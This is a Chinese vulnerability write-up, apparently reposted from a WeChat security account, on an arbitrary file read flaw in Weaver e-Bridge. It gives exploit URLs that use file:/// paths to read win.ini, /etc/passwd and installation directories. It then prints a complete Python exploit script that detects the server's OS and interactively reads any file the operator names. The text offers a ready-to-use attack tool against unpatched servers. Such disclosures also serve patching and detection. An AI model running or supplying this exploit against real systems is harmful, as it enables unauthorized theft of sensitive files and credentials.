一、漏洞描述
泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。
泛微云桥存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取相关的敏感信息。
二、影响版本
泛微云桥 e-Bridge 2018-2019 多个版本
三、漏洞复现
系统首页显示如下
Windows服务器
访问如下路径(以读取服务器上C:/windows/win.ini文件为例)
http://xx.xx.xx.xx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/windows/win.ini&fileExt=txt
响应中成功返回 id值,则说明含有此漏洞
如果返回无法验证您的身份!
,则证明改漏洞已被修复了
成功验证漏洞存在之后,调用查看文件接口直接读取该文件的内容
http://xx.xx.xx.xx/file/fileNoLogin/id值
可以看到这里的响应把C:/windows/win.ini
的内容显示了出来。既然该漏洞是任意文件读取,那么访问先前页面中显示的系统安装路径
http://xx.xx.xx.xx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///D:/WEAVER/ebridge/&fileExt=txt
调用查看文件接口读取该路径下的文件,显示如下
根据这个规律,攻击者就可以构造不同的路径读取任意文件的内容了。
Linux服务器
访问如下路径
http://xx.xx.xx.xx/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt
成功返回 id值,说明含有此漏洞
调用查看文件接口访问
http://xx.xx.xx.xx/file/fileNoLogin/id值
四、漏洞利用poc脚本
import base64
import requests
import random
import re
import json
import sys
def title():
print('+------------------------------------------+')
print('+ 公众号 : 守卫者安全 ')
print('+ 漏洞名称: 泛微云桥 e-Bridge 任意文件读取 ')
print('+ 使用方式: python3 poc.py ')
print('+ Url格式 :>>> http://xxx.xxx.xxx.xxx ')
print('+------------------------------------------')
# 判断操作系统 or 判断漏洞是否可利用
def POC_1(target_url):
vuln_url_1 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt"
vuln_url_2 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
vuln_url_3 = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///&fileExt=txt"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response_1 = requests.get(url=vuln_url_1, headers=headers, verify=False, timeout=10)
response_2 = requests.get(url=vuln_url_2, headers=headers, verify=False, timeout=10)
response_3 = requests.get(url=vuln_url_3, headers=headers, verify=False, timeout=10)
if "无法验证您的身份" in response_1.text and "无法验证您的身份" in response_2.text:
print(" 漏洞已修复,不存在漏洞!")
sys.exit(0)
else:
if "No such file or directory" in response_1.text:
print("目标为 Linux 系统")
id = re.findall(r'"id":"(.*?)"', response_3.text)[0]
print("成功获取id:{}".format(id))
return id,"linux"
elif "系统找不到指定的路径" in response_2.text:
print("目标为 Windows 系统!")
id = re.findall(r'"id":"(.*?)"', response_1.text)[0]
print("成功获取id:{}".format(id))
return id,"windows"
else:
print("无法获取目标系统!")
sys.exit(0)
except Exception as e:
print("请求失败:{} ".format(e))
sys.exit(0)
# 验证漏洞
def POC_2(target_url, id):
file_url = target_url + "/file/fileNoLogin/{}".format(id)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.get(url=file_url, headers=headers, verify=False, timeout=10)
response.encoding = 'GBK'
print("成功读取:n{}".format(response.text))
except Exception as e:
print("请求失败:{} ".format(e))
sys.exit(0)
# windows 文件读取
def POC_3(target_url, File):
file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/{}&fileExt=txt".format(File)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.get(url=file_url, headers=headers, verify=False, timeout=10)
id = re.findall(r'"id":"(.*?)"', response.text)[0]
print("成功获取id:{}".format(id))
POC_2(target_url, id)
except :
print("请求失败,无法读取文件")
# linux读取文件
def POC_4(target_url, File):
file_url = target_url + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file://{}&fileExt=txt".format(File)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.get(url=file_url, headers=headers, verify=False, timeout=10)
id = re.findall(r'"id":"(.*?)"', response.text)[0]
print("成功获取id:{}".format(id))
POC_2(target_url, id)
except:
print("请求失败,无法读取文件")
if __name__ == '__main__':
title()
target_url = str(input("Please input Attack UrlnUrl >>> "))
id,system = POC_1(target_url)
POC_2(target_url, id)
while True:
if system == "windows":
File = input("File >>> ")
if File == "exit":
sys.exit(0)
else:
POC_3(target_url, File)
if system == "linux":
File = input("File >>> ")
if File == "exit":
sys.exit(0)
else:
POC_4(target_url, File)
脚本运行效果如下
原文始发于微信公众号(守卫者安全):泛微云桥 e-Bridge 任意文件读取
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论